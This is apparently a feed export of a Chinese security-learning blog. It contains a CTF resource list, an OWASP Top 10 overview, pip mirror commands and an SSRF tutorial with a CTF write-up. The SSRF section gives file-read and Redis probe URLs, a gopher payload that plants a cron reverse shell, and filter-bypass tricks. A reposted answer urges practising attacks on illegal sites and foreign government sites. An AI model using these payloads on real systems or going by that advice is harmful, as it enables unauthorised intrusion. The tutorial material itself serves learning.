    <content type="html"><![CDATA[<p>作者：Ph0rse<br>链接：<a href="https://www.zhihu.com/question/267204109/answer/320502511">https://www.zhihu.com/question/267204109/answer/320502511</a><br>来源：知乎<br>著作权归作者所有。商业转载请联系作者获得授权，非商业转载请注明出处。</p><p>一、前期一系列的练习平台，大部分都有题解，实在十几天弄不出来可以看看题解。<br>SQL注入：RedTiger’s Hackit<br>web:网络安全实验室|网络信息安全攻防学习平台<br>综合：[WeChall]<br>Challenges经典老平台：南京邮电大学网络攻防训练平台<br>综合性新平台：CTF - 练习平台<br>渗透：Penetration test lab<br>综合性黑客game：Game of Hacks<br>XCTF的训练平台：XCTF实训平台 | 登 录<br>I春秋的CTF复现平台：<a href="https://www.ichunqiu.com/racing/58837">https://www.ichunqiu.com/racing/58837</a><br>安恒的平台：登录 - 明御® 攻防实验室<br>一个综合的新平台，貌似里面二进制的题挺好：Jarvis OJ<br>一个高端平台，里面有一些硬件、云安全、内网渗透的题：Exploit Exercises<br>又一个高端平台，里面有一些Oracle、密码学之类的题目：Under the Wire<br>渗透练习平台：<a href="https://pentest.training/mockexams.php">https://pentest.training/mockexams.php</a><br>一个代码审计的平台（不是web方向，有很多都是C语言的审计，墙裂建议女装大佬来秒）：Websec<br>一个封装好的CTF平台：Vulnerable Docker VM - NotSoSecure<br>也是封装好的一些训练环境：Vulnerable By Design ~ VulnHub<br>PHP安全训练平台：PHP Security Advent Calendar 2017<br>一个国外的CTFwiki，质量好像一般:Forgotten Security’s CTF Wiki<br>一个和Metasploit配套的靶场—Metasploitable： <a href="http://downloads.metasploit.com/data/metasploitable/metasploitable-linux-2.0.0.zip">http://downloads.metasploit.com/data/metasploitable/metasploitable-linux-2.0.0.zip</a><br>CTF工具库： CTF资源库|CTF工具下载|CTF工具包|CTF工具集合<br>以上是我自己整理的内容，同时推荐其它大佬的资源整理贴<br>~个人总结-网络安全学习和CTF必不可少的一些网站 - ida0918的博客 - CSDN博客  </p><p>二、中期打一些有奖金的CTF比赛，一些优质的CTF比赛还是比较贴近实战的，比如17年的HCTFCTF时间表：<br>XCTF比赛的时间表：首页 - XCTF社区<br>大型比赛的时间表：All about CTF (Capture The Flag)<br>CTF指南：CTF Rank，你的CTF参赛指南<br>CTFwiki：墙裂推荐！CTF Wiki<br>2018年的CTF竞赛 2018·CTF·信息安全竞赛导航  </p><p>一些CTF大佬的博客：<br>Hackfun - | Secblog | Pentest | Auditing | Sectool | CTF Write-up<br>Go0s @ 老 锥<br>Swing’Blog 有恨无人省<br><a href="http://haojiawei.xyz/page/3/">http://haojiawei.xyz/page/3/</a><br>pcat - 博客园<br>Si1ence’s Blog - 雨一落，化开我眼中的冰，蔓延成河。<br>Medici.Yan’s Blog<br>Radiation’s blog<br><a href="http://l-team.org/">http://l-team.org/</a><br>Sebastian Neef - 0day.work<br><a href="https://www.jimwilbur.com/">https://www.jimwilbur.com/</a><br>M4x - 博客园<br>当然，也不要仅仅局限于CTF比赛，多用docker去复现一些CVE环境，自己玩玩儿，再跟着P神学一下代码审计，不要拿到别人网站源码还不知道怎么getshell~一些闭源的cms，很容易审出洞。</p><p>这里在推荐一下p神的一个项目，用docker-compose去一键复现漏洞环境。</p><p>vulhub&#x2F;vulhub首页 | 离别歌vulhub&#x2F;vulhub</p><p>三、后期那些刻意的环境已经满足不了你了，去实战吧<br>日常关注着漏洞预警：Exploits Database by Offensive Security<br>瞄准相关漏洞之后，用shodan去进行漏洞全球主机探测：Shodan Manual · GitBook<br>先知安全服务平台<br>漏洞银行(BUGBANK) 官方网站 | 全球领先的漏洞发现平台<br>补天 - 企业和白帽子共赢的漏洞响应平台，帮助企业建立SRC，库带计划 - 国内首个现金奖励漏洞平台<br>一些非法网站，比如黄网、赌博网站也可以用来练手，反正是它们也是违法的，但不要去谋取利益就好。<br>大陆政府的网站绝对不要碰。如果心痒痒就去搞国外zf的，因为他们的人也在搞咱们政府的练手。  </p><p>作者：Ph0rse<br>链接：<a href="https://www.zhihu.com/question/267204109/answer/320502511">https://www.zhihu.com/question/267204109/answer/320502511</a><br>来源：知乎<br>著作权归作者所有。商业转载请联系作者获得授权，非商业转载请注明出处。</p>]]></content>
    
    
    
  </entry>
  
  
  
  <entry>
    <title>owasp top10 十大常见漏洞</title>
    <link href="/2024/11/15/web%E5%8D%81%E5%A4%A7%E5%9F%BA%E7%A1%80%E6%BC%8F%E6%B4%9E/"/>
    <url>/2024/11/15/web%E5%8D%81%E5%A4%A7%E5%9F%BA%E7%A1%80%E6%BC%8F%E6%B4%9E/</url>
    
    <content type="html"><![CDATA[<h1 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h1><p>搞渗透，挖漏洞，应该了解这些知识基础，我现在对这些东西的理解还不是很清晰，特此来写这一篇文章，逆向方面的话，可能就会比较晚了，感觉reverse-wiki不知到什么时候才可以开张</p><p>OWASP（开放式Web应用程序安全项目）是一个开放的社区，由非营利组织 OWASP基金会支持的项目。对所有致力于改进应用程序安全的人士开放，旨在提高对应用程序安全性的认识。<br>其最具权威的就是“10项最严重的Web 应用程序安全风险列表” ，总结并更新Web应用程序中最可能、最常见、最危险的十大漏洞，是开发、测试、服务、咨询人员应知应会的知识。</p><h1 id="十大漏洞介绍"><a href="#十大漏洞介绍" class="headerlink" title="十大漏洞介绍"></a>十大漏洞介绍</h1><h2 id="注入漏洞"><a href="#注入漏洞" class="headerlink" title="注入漏洞"></a>注入漏洞</h2><p>注入漏洞是指攻击者通过在应用程序中注入恶意代码，从而获取对应用程序的控制权。常见的注入漏洞包括SQL、OS 命令、ORM、LDAP和表达式语言或者 OGNL 注入。攻击者可以利用这些漏洞来窃取数据、篡改数据、执行任意代码等。注入工具也有很多，这里要介绍下基于 python开发的 SQLmap，SQLmap 支持对 PostgreSql，MySQL，Access，MsSql Server 等数据库的自动化注入。是在检查SQL注入漏洞方面最得力的工具。</p><h2 id="失效的身份认证"><a href="#失效的身份认证" class="headerlink" title="失效的身份认证"></a>失效的身份认证</h2><p>失效的身份认证是指应用程序在身份认证过程中存在缺陷，攻击者可以通过绕过身份认证机制来访问受保护的资源。常见的失效的身份认证漏洞包括弱密码、默认密码、暴力破解、会话劫持、会话固定、不安全的密码存储等。攻击者可以利用这些漏洞来冒充合法用户，窃取用户凭证，或者获取对受保护资源的未授权访问。</p><h2 id="敏感数据泄露"><a href="#敏感数据泄露" class="headerlink" title="敏感数据泄露"></a>敏感数据泄露</h2><p>敏感数据泄露是指应用程序在处理敏感数据时存在缺陷，导致敏感数据被泄露。应用维护或者开发人员无意间上传敏感数据，如 github 文件泄露。敏感数据文件的权限设置错误，如网站目录下的数据库备份文件泄露。网络协议、算法本身的弱点，如 telent、ftp、md5 等 常见的敏感数据泄露漏洞包括不安全的存储、不安全的传输、不安全的日志记录等。攻击者可以利用这些漏洞来窃取用户的个人信息、财务信息、商业机密等。在处理敏感数据时，应该使用加密、访问控制、安全传输等技术来保护数据的安全性。</p><h2 id="XML外部实体注入（XXE）"><a href="#XML外部实体注入（XXE）" class="headerlink" title="XML外部实体注入（XXE）"></a>XML外部实体注入（XXE）</h2><p>XML外部实体注入（XXE）是指攻击者通过在应用程序中注入恶意的XML实体，从而获取对应用程序的控制权。常见的XXE漏洞包括不安全的XML解析器、不安全的XML配置、不安全的XML库等。攻击者可以利用这些漏洞来窃取数据、执行任意代码等。在处理XML数据时，应该使用安全的XML解析器、配置和库，并禁用外部实体解析。</p><h2 id="无效的访问控制"><a href="#无效的访问控制" class="headerlink" title="无效的访问控制"></a>无效的访问控制</h2><p>无效的访问控制是指应用程序在访问控制过程中存在缺陷，导致未授权用户可以访问受保护的资源。常见的无效的访问控制漏洞包括不正确的权限检查、不正确的角色检查、不正确的访问控制策略等。攻击者可以利用这些漏洞来访问受保护的资源，窃取数据、篡改数据等。在实现访问控制时，应该使用严格的权限检查、角色检查和访问控制策略，并确保只有授权用户才能访问受保护的资源。<br>绕过路径，如未读取的参数做检查，导致路径绕过读取到敏感文件<br>权限提升，如未对权限做检查，导致攻击者变更权限<br>垂直越权，攻击者可以从普通的用户权限提升到管理员的权限访问应用程序<br>水平越权，攻击者可以从普通用户A的权限提升到普通用户B的权限访问应用程序</p><h2 id="安全配置错误"><a href="#安全配置错误" class="headerlink" title="安全配置错误"></a>安全配置错误</h2><p>安全配置错误是指应用程序在配置过程中存在缺陷，导致应用程序存在安全风险。常见的安全配置错误漏洞包括不安全的默认配置、不安全的配置文件、不安全的配置参数等。攻击者可以利用这些漏洞来获取对应用程序的控制权，窃取数据、执行任意代码等。在配置应用程序时，应该使用安全的默认配置、配置文件和配置参数，并定期检查和更新配置。</p><h2 id="跨站脚本（XSS）"><a href="#跨站脚本（XSS）" class="headerlink" title="跨站脚本（XSS）"></a>跨站脚本（XSS）</h2><p>跨站脚本（XSS）是指攻击者通过在应用程序中注入恶意脚本，从而获取对应用程序的控制权。常见的XSS漏洞包括反射型XSS、存储型XSS、DOM型XSS等。攻击者可以利用这些漏洞来窃取用户的个人信息、会话信息、执行恶意代码等。在处理用户输入时，应该使用安全的编码和过滤技术，并确保只有授权用户才能访问受保护的资源。</p><h2 id="不安全的反序列化"><a href="#不安全的反序列化" class="headerlink" title="不安全的反序列化"></a>不安全的反序列化</h2><p>不安全的反序列化是指应用程序在反序列化过程中存在缺陷，导致恶意数据被反序列化为对象，从而获取对应用程序的控制权。常见的反序列化漏洞包括不安全的反序列化库、不安全的反序列化配置等。攻击者可以利用这些漏洞来执行任意代码、窃取数据等。在反序列化数据时，应该使用安全的反序列化库和配置，并确保只有授权用户才能反序列化数据。</p><h2 id="使用含有已知漏洞的组件"><a href="#使用含有已知漏洞的组件" class="headerlink" title="使用含有已知漏洞的组件"></a>使用含有已知漏洞的组件</h2><p>使用含有已知漏洞的组件是指应用程序在开发过程中使用了含有已知漏洞的组件，导致应用程序存在安全风险。常见的使用含有已知漏洞的组件漏洞包括使用含有已知漏洞的库、框架、插件等。攻击者可以利用这些漏洞来获取对应用程序的控制权，窃取数据、执行任意代码等。在开发应用程序时，应该使用安全的组件，并及时更新和修补含有已知漏洞的组件。</p><h2 id="不足的日志记录和监控"><a href="#不足的日志记录和监控" class="headerlink" title="不足的日志记录和监控"></a>不足的日志记录和监控</h2><p>不足的日志记录和监控是指应用程序在日志记录和监控过程中存在缺陷，导致无法及时发现和响应安全事件。常见的不足的日志记录和监控漏洞包括不完整的日志记录、不充分的日志监控、不及时的日志响应等。攻击者可以利用这些漏洞来隐藏攻击行为、绕过安全机制等。在日志记录和监控过程中，应该使用完整的日志记录、充分的日志监控和及时的日志响应，并确保安全事件能够被及时发现和响应。</p>]]></content>
    
    
    <categories>
      
      <category>网络</category>
      
    </categories>
    
    
    <tags>
      
      <tag>web</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>熊猫烧香分析</title>
    <link href="/2024/11/15/%E7%86%8A%E7%8C%AB%E7%83%A7%E9%A6%99%E5%88%86%E6%9E%90/"/>
    <url>/2024/11/15/%E7%86%8A%E7%8C%AB%E7%83%A7%E9%A6%99%E5%88%86%E6%9E%90/</url>
    
    <content type="html"><![CDATA[<h1 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h1><p>本来打算搞个奶龙烧香的但是今天不是很想搞先弄弄web的几个大点，明天再来看看能不能复现一下，现在的电脑安全都太高了，熊猫烧香直接要么被杀要么就是不符合系统，有点麻烦</p>]]></content>
    
    
    
  </entry>
  
  
  
  <entry>
    <title>pip下载</title>
    <link href="/2024/11/07/pip%E4%B8%8B%E8%BD%BD/"/>
    <url>/2024/11/07/pip%E4%B8%8B%E8%BD%BD/</url>
    
    <content type="html"><![CDATA[<h1 id="pip下载"><a href="#pip下载" class="headerlink" title="pip下载"></a>pip下载</h1><h2 id="下载"><a href="#下载" class="headerlink" title="下载"></a>下载</h2><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs shell">pip install -i https://pypi.tuna.tsinghua.edu.cn/simple &lt;package&gt;<br></code></pre></td></tr></table></figure><h2 id="下载指定版本"><a href="#下载指定版本" class="headerlink" title="下载指定版本"></a>下载指定版本</h2><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs shell">pip install -i https://pypi.tuna.tsinghua.edu.cn/simple &lt;package&gt;==&lt;version&gt;<br></code></pre></td></tr></table></figure><h2 id="永久配置国内镜像源"><a href="#永久配置国内镜像源" class="headerlink" title="永久配置国内镜像源"></a>永久配置国内镜像源</h2><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs shell">pip config set global.index-url https://pypi.tuna.tsinghua.edu.cn/simple<br></code></pre></td></tr></table></figure><h2 id="配置多个镜像源"><a href="#配置多个镜像源" class="headerlink" title="配置多个镜像源"></a>配置多个镜像源</h2><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs shell">[global]<br>index-url = https://pypi.tuna.tsinghua.edu.cn/simple<br>extra-index-url = https://pypi.douban.com/simple<br>extra-index-url = https://mirrors.aliyun.com/pypi/simple/<br></code></pre></td></tr></table></figure>]]></content>
    
    
    
    <tags>
      
      <tag>tool</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>ssrf</title>
    <link href="/2024/11/07/ssrf/"/>
    <url>/2024/11/07/ssrf/</url>
    
    <content type="html"><![CDATA[<h1 id="介绍"><a href="#介绍" class="headerlink" title="介绍"></a>介绍</h1><p>SSRF (Server-Side Request Forgery,服务器端请求伪造)是一种由攻击者构造请求，由服务端发起请求的安全漏洞。一般情况下，SSRF攻击的目标是外网无法访问的内部系统(正因为请求是由服务端发起的，所以服务端能请求到与自身相连而与外网隔离的内部系统)。<br><a href="https://www.cnblogs.com/miruier/p/13907150.html">SSRF漏洞（原理、挖掘点、漏洞利用、修复建议</a><br><a href="https://zhuanlan.zhihu.com/p/112055947">Gopher协议在SSRF漏洞中的深入研究</a></p><h1 id="具体内容"><a href="#具体内容" class="headerlink" title="具体内容"></a>具体内容</h1><h2 id="主要攻击方式"><a href="#主要攻击方式" class="headerlink" title="主要攻击方式"></a>主要攻击方式</h2><ul><li>对外网、服务器所在内网、本地进行端口扫描，获取一些服务的banner信息</li><li>攻击运行在内网或本地的应用程序</li><li>对内网Web应用进行指纹识别，识别企业内部的资产信息</li><li>攻击内外网的Web应用，主要是使用HTTP GET请求就可以实现的攻击(比如struts2、SQli等)</li><li>利用file协议读取本地文件等<blockquote><p><a href="http://payloads.net/ssrf.php?url=192.168.1.10:3306">http://payloads.net/ssrf.php?url=192.168.1.10:3306</a><br><a href="http://payloads.net/ssrf.php?url=file:///c:/windows/win.ini">http://payloads.net/ssrf.php?url=file:///c:/windows/win.ini</a></p></blockquote></li></ul><h2 id="产生的相关函数"><a href="#产生的相关函数" class="headerlink" title="产生的相关函数"></a>产生的相关函数</h2><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-title function_ invoke__">file_get_contents</span>()、<span class="hljs-title function_ invoke__">fsockopen</span>()、<span class="hljs-title function_ invoke__">curl_exec</span>()、<span class="hljs-title function_ invoke__">fopen</span>()、<span class="hljs-title function_ invoke__">readfile</span>()<br></code></pre></td></tr></table></figure><h3 id="函数解释"><a href="#函数解释" class="headerlink" title="函数解释"></a>函数解释</h3><ol><li><p>file_get_contents()</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-meta">&lt;?php</span><br><span class="hljs-variable">$url</span> = <span class="hljs-variable">$_GET</span>[<span class="hljs-string">&#x27;url&#x27;</span>];;<br><span class="hljs-keyword">echo</span> <span class="hljs-title function_ invoke__">file_get_contents</span>(<span class="hljs-variable">$url</span>);<br><span class="hljs-meta">?&gt;</span><br></code></pre></td></tr></table></figure><p>从指定的url获取内容，然后指定到一个文件名进行保存，并展示给用户，file_put_content则是把一个字符串写入文件中</p></li><li><p>fsockopen()</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">GetFile</span>(<span class="hljs-params"><span class="hljs-variable">$host</span>,<span class="hljs-variable">$port</span>,<span class="hljs-variable">$link</span></span>) </span>&#123; <br>    <span class="hljs-variable">$fp</span> = <span class="hljs-title function_ invoke__">fsockopen</span>(<span class="hljs-variable">$host</span>, <span class="hljs-title function_ invoke__">intval</span>(<span class="hljs-variable">$port</span>), <span class="hljs-variable">$errno</span>, <span class="hljs-variable">$errstr</span>, <span class="hljs-number">30</span>);   <br>    <span class="hljs-keyword">if</span> (!<span class="hljs-variable">$fp</span>) &#123; <br>        <span class="hljs-keyword">echo</span> <span class="hljs-string">&quot;<span class="hljs-subst">$errstr</span> (error number <span class="hljs-subst">$errno</span>) \n&quot;</span>; <br>    &#125; <span class="hljs-keyword">else</span> &#123; <br>        <span class="hljs-variable">$out</span> = <span class="hljs-string">&quot;GET <span class="hljs-subst">$link</span> HTTP/1.1\r\n&quot;</span>; <br>        <span class="hljs-variable">$out</span> .= <span class="hljs-string">&quot;Host: <span class="hljs-subst">$host</span>\r\n&quot;</span>; <br>        <span class="hljs-variable">$out</span> .= <span class="hljs-string">&quot;Connection: Close\r\n\r\n&quot;</span>; <br>        <span class="hljs-variable">$out</span> .= <span class="hljs-string">&quot;\r\n&quot;</span>; <br>        <span class="hljs-title function_ invoke__">fwrite</span>(<span class="hljs-variable">$fp</span>, <span class="hljs-variable">$out</span>); <br>        <span class="hljs-variable">$contents</span>=<span class="hljs-string">&#x27;&#x27;</span>; <br>        <span class="hljs-keyword">while</span> (!<span class="hljs-title function_ invoke__">feof</span>(<span class="hljs-variable">$fp</span>)) &#123; <br>            <span class="hljs-variable">$contents</span>.= <span class="hljs-title function_ invoke__">fgets</span>(<span class="hljs-variable">$fp</span>, <span class="hljs-number">1024</span>); <br>        &#125; <br>        <span class="hljs-title function_ invoke__">fclose</span>(<span class="hljs-variable">$fp</span>); <br>        <span class="hljs-keyword">return</span> <span class="hljs-variable">$contents</span>; <br>    &#125; <br>&#125;<br></code></pre></td></tr></table></figure><p>fsockopen函数实现对用户指定url数据的获取，使用端口建立tcp连接，变量host为主机名，port为端口，errstr表示错误以字符传的信息返回，30为时限</p></li><li><p>curl_exec()</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-meta">&lt;?php</span> <br><span class="hljs-keyword">if</span> (<span class="hljs-keyword">isset</span>(<span class="hljs-variable">$_POST</span>[<span class="hljs-string">&#x27;url&#x27;</span>]))&#123;<br>    <span class="hljs-variable">$link</span> = <span class="hljs-variable">$_POST</span>[<span class="hljs-string">&#x27;url&#x27;</span>];<br>    <span class="hljs-variable">$curlobj</span> = <span class="hljs-title function_ invoke__">curl_init</span>();<span class="hljs-comment">// 创建新的 cURL 资源</span><br>    <span class="hljs-title function_ invoke__">curl_setopt</span>(<span class="hljs-variable">$curlobj</span>, CURLOPT_POST, <span class="hljs-number">0</span>);<br>    <span class="hljs-title function_ invoke__">curl_setopt</span>(<span class="hljs-variable">$curlobj</span>,CURLOPT_URL,<span class="hljs-variable">$link</span>);<br>    <span class="hljs-title function_ invoke__">curl_setopt</span>(<span class="hljs-variable">$curlobj</span>, CURLOPT_RETURNTRANSFER, <span class="hljs-number">1</span>);<span class="hljs-comment">// 设置 URL 和相应的选项</span><br>    <span class="hljs-variable">$result</span>=<span class="hljs-title function_ invoke__">curl_exec</span>(<span class="hljs-variable">$curlobj</span>);<span class="hljs-comment">// 抓取 URL 并把它传递给浏览器</span><br>    <span class="hljs-title function_ invoke__">curl_close</span>(<span class="hljs-variable">$curlobj</span>);<span class="hljs-comment">// 关闭 cURL 资源，并且释放系统资源</span><br><br>    <span class="hljs-variable">$filename</span> = <span class="hljs-string">&#x27;./curled/&#x27;</span>.<span class="hljs-title function_ invoke__">rand</span>().<span class="hljs-string">&#x27;.txt&#x27;</span>;<br>    <span class="hljs-title function_ invoke__">file_put_contents</span>(<span class="hljs-variable">$filename</span>, <span class="hljs-variable">$result</span>); <br>    <span class="hljs-keyword">echo</span> <span class="hljs-variable">$result</span>;<br>&#125;<br><span class="hljs-meta">?&gt;</span><br></code></pre></td></tr></table></figure><p>curl_exec函数用于执行指定的cURL会话</p><blockquote><p>1.一般情况下PHP不会开启fopen的gopher wrapper<br>2.file_get_contents的gopher协议不能URL编码<br>3.file_get_contents关于Gopher的302跳转会出现bug，导致利用失败<br>4.curl&#x2F;libcurl 7.43 上gopher协议存在bug(%00截断) 经测试7.49 可用<br>5.curl_exec() &#x2F;&#x2F;默认不跟踪跳转，<br>6.file_get_contents() &#x2F;&#x2F; file_get_contents支持php:&#x2F;&#x2F;input协议</p></blockquote></li></ol><h2 id="利用方式"><a href="#利用方式" class="headerlink" title="利用方式"></a>利用方式</h2><ol><li>使用file协议 file protocol (任意文件读取)<blockquote><p>curl -vvv “<a href="http://target/ssrf.php?url=file:///etc/passwd">http://target/ssrf.php?url=file:///etc/passwd</a>“</p></blockquote></li><li>使用dict协议 dict protocol (获取Redis配置信息)<blockquote><p>curl -vvv “<a href="http://target/ssrf.php?url=dict://127.0.0.1:6379/info">http://target/ssrf.php?url=dict://127.0.0.1:6379/info</a>“</p></blockquote></li><li>使用gopher协议(俗称万能协议) gopher protocol (一键反弹Bash)<blockquote><p>curl -vvv “<a href="http://target/ssrf.php?url=gopher://127.0.0.1:6379/_*1">http://target/ssrf.php?url=gopher://127.0.0.1:6379/_*1</a> %0d %0a $8%0d %0aflushall %0d %0a<em>3 %0d %0a $3%0d %0aset %0d %0a $1%0d %0a1 %0d %0a $64%0d %0a %0d %0a %0a %0a</em>&#x2F;1 * * * * bash -i &gt;&amp; &#x2F;dev&#x2F;tcp&#x2F;127.0.0.1&#x2F;4444 0&gt;&amp;1 %0a %0a %0a %0a %0a %0d %0a %0d %0a %0d %0a<em>4 %0d %0a $6%0d %0aconfig %0d %0a $3%0d %0aset %0d %0a $3%0d %0adir %0d %0a $16%0d %0a&#x2F;var&#x2F;spool&#x2F;cron&#x2F; %0d %0a</em>4 %0d %0a $6%0d %0aconfig %0d %0a $3%0d %0aset %0d %0a $10%0d %0adbfilename %0d %0a $4%0d %0aroot %0d %0a*1 %0d %0a $4%0d %0asave %0d %0aquit %0d %0a”</p></blockquote></li></ol><h2 id="SSRF漏洞绕过方法"><a href="#SSRF漏洞绕过方法" class="headerlink" title="SSRF漏洞绕过方法"></a>SSRF漏洞绕过方法</h2><p>-常用的绕过方法<br>　1.@　　　　　　　　　　<a href="http://abc.com@127.0.0.1/">http://abc.com@127.0.0.1</a></p><p>　　2.添加端口号　　　　　　<a href="http://127.0.0.1:8080/">http://127.0.0.1:8080</a></p><p>　　3.短地址　　　　　　　　<a href="https://0x9.me/cuGfD">https://0x9.me/cuGfD</a><br>推荐：<a href="http://tool.chinaz.com/tools/dwz.aspx%E3%80%81https://dwz.cn/">http://tool.chinaz.com/tools/dwz.aspx、https://dwz.cn/</a></p><p>　　4.可以指向任意ip的域名　 xip.io<br>原理是DNS解析。xip.io可以指向任意域名，即127.0.0.1.xip.io，可解析为127.0.0.1</p><p>　　5.ip地址转换成进制来访问 192.168.0.1&#x3D;3232235521（十进制） </p><p>　　6.非HTTP协议</p><p>　　7.DNS Rebinding</p><p>　　8.利用[::]绕过                 http:&#x2F;&#x2F;[::]:80&#x2F; &gt;&gt;&gt; <a href="http://127.0.0.1/">http://127.0.0.1</a></p><p>　　9.句号绕过                  127。0。0。1 &gt;&gt;&gt; 127.0.0.1</p><p>　　10.利用302跳转绕过     使用<a href="https://tinyurl.com生成302跳转地址/">https://tinyurl.com生成302跳转地址</a></p><h1 id="例题"><a href="#例题" class="headerlink" title="例题"></a>例题</h1><h2 id="HNCTF-2022-WEEK2-ez-ssrf"><a href="#HNCTF-2022-WEEK2-ez-ssrf" class="headerlink" title="[HNCTF 2022 WEEK2]ez_ssrf"></a>[HNCTF 2022 WEEK2]ez_ssrf</h2><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-meta">&lt;?php</span><br><span class="hljs-title function_ invoke__">highlight_file</span>(<span class="hljs-keyword">__FILE__</span>);<br><span class="hljs-title function_ invoke__">error_reporting</span>(<span class="hljs-number">0</span>);<br><span class="hljs-variable">$data</span>=<span class="hljs-title function_ invoke__">base64_decode</span>(<span class="hljs-variable">$_GET</span>[<span class="hljs-string">&#x27;data&#x27;</span>]);<br><span class="hljs-variable">$host</span>=<span class="hljs-variable">$_GET</span>[<span class="hljs-string">&#x27;host&#x27;</span>];<br><span class="hljs-variable">$port</span>=<span class="hljs-variable">$_GET</span>[<span class="hljs-string">&#x27;port&#x27;</span>];<br><span class="hljs-variable">$fp</span>=<span class="hljs-title function_ invoke__">fsockopen</span>(<span class="hljs-variable">$host</span>,<span class="hljs-title function_ invoke__">intval</span>(<span class="hljs-variable">$port</span>),<span class="hljs-variable">$error</span>,<span class="hljs-variable">$errstr</span>,<span class="hljs-number">30</span>);<br><span class="hljs-keyword">if</span>(!<span class="hljs-variable">$fp</span>) &#123;<br>    <span class="hljs-keyword">die</span>();<br>&#125;<br><span class="hljs-keyword">else</span> &#123;<br>    <span class="hljs-title function_ invoke__">fwrite</span>(<span class="hljs-variable">$fp</span>,<span class="hljs-variable">$data</span>);<br>    <span class="hljs-keyword">while</span>(!<span class="hljs-title function_ invoke__">feof</span>(<span class="hljs-variable">$data</span>))<br>    &#123;<br>        <span class="hljs-keyword">echo</span> <span class="hljs-title function_ invoke__">fgets</span>(<span class="hljs-variable">$fp</span>,<span class="hljs-number">128</span>);<br>    &#125;<br>    <span class="hljs-title function_ invoke__">fclose</span>(<span class="hljs-variable">$fp</span>);<br>&#125;<br></code></pre></td></tr></table></figure><p>扫描本地文件发现有flag.php，尝试读取，发现🥰localhost plz🥰，要从本地读取，利用fsockopen的协议构造payload，创建来自本地的请求,有一个坑点就是data的数据构造是利用php来生成的base64加密，不然会出现问题</p><blockquote><p> ?host&#x3D;127.0.0.1&amp;port&#x3D;80&amp;data&#x3D;R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo&#x3D;</p></blockquote><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-meta">&lt;?php</span><br><span class="hljs-variable">$out</span> = <span class="hljs-string">&quot;GET /flag.php HTTP/1.1\r\n&quot;</span>;<br><span class="hljs-variable">$out</span> .= <span class="hljs-string">&quot;Host: 127.0.0.1\r\n&quot;</span>;<br><span class="hljs-variable">$out</span> .= <span class="hljs-string">&quot;Connection: Close\r\n\r\n&quot;</span>;<br><span class="hljs-keyword">echo</span> <span class="hljs-variable">$out</span>;<br><span class="hljs-keyword">echo</span> <span class="hljs-title function_ invoke__">base64_encode</span>(<span class="hljs-variable">$out</span>);<br><span class="hljs-meta">?&gt;</span><br></code></pre></td></tr></table></figure><p>GET &#x2F;flag.php HTTP&#x2F;1.1<br>Host: 127.0.0.1<br>Connection: Close<br>R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo&#x3D;</p>]]></content>
    
    
    <categories>
      
      <category>CTF</category>
      
    </categories>
    
    
    <tags>
      
      <tag>web</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>逆向出题记录</title>
    <link href="/2024/11/05/%E9%80%86%E5%90%91%E5%87%BA%E9%A2%98%E8%AE%B0%E5%BD%95/"/>
    <url>/2024/11/05/%E9%80%86%E5%90%91%E5%87%BA%E9%A2%98%E8%AE%B0%E5%BD%95/</url>
    
